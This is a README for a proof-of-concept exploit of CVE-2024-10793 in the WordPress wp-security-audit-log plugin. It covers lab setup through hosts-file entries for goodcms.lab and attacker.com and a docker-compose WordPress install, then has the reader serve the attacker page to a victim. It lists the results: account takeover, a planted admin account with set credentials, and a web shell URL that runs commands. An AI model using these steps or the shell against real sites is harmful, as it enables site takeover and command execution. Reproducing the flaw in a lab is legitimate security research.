mahajian/cve-2024-10793Proof-of-concept exploit for CVE-2024-10793 targeting WordPress wp-security-audit-log plugin. Demonstrates account takeover, privileged user creation, shell upload, and admin manipulation via crafted HTTP requests.
Set this lines to your hosts file:
127.0.0.1 goodcms.lab
127.0.0.1 attacker.com
Launch Wordpress using docker:
$ sudo systemctl start docker
$ sudo docker-compose up -d
Open http://goodcms.lab:2121 and do installation wordpress steps. Install wp-security-audit-log.5.2.1 or older versions in wordpress.
Launch attacker server:
$ php -S 0:9091 -t ./exploit
Deliver http://attacker.com to victim & Bingo!
Exploit Impacts:
Account Takeover & Create Privileged User Poc: Attacker credentials after exploit: { email: [email protected], username: amin, password: 123456 } (You can change from xpl.js code.)
Run Shell Command: http://goodcms.lab:2121/wp-content/plugins/sogrid/shell.php?cmd=id
